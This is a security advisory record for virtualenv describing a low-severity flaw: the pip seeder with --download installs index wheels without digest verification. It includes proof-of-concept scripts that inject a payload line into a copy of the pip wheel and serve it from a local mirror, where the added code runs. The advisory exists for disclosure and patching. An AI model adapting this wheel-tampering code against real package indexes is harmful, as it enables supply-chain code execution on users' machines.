{"id":"GHSA-cx28-75q4-x26q","summary":"virtualenv: Pip seeding with download omits wheel digest verification","details":"## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip's pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror's wheel for its digest: {refused}\")\nprint(f\"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}\")\nprint(f\"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, 'w').write('mirror code ran')\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f'\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n')\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.","aliases":["CVE-2026-113717"],"modified":"2026-10-23T22:30:04.077035557Z","published":"2026-10-23T22:26:04Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:26:04Z","nvd_published_at":"2026-10-20T20:17:18Z","cwe_ids":["CWE-494"],"severity":"LOW"},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113717"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cx28-75q4-x26q/GHSA-cx28-75q4-x26q.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]}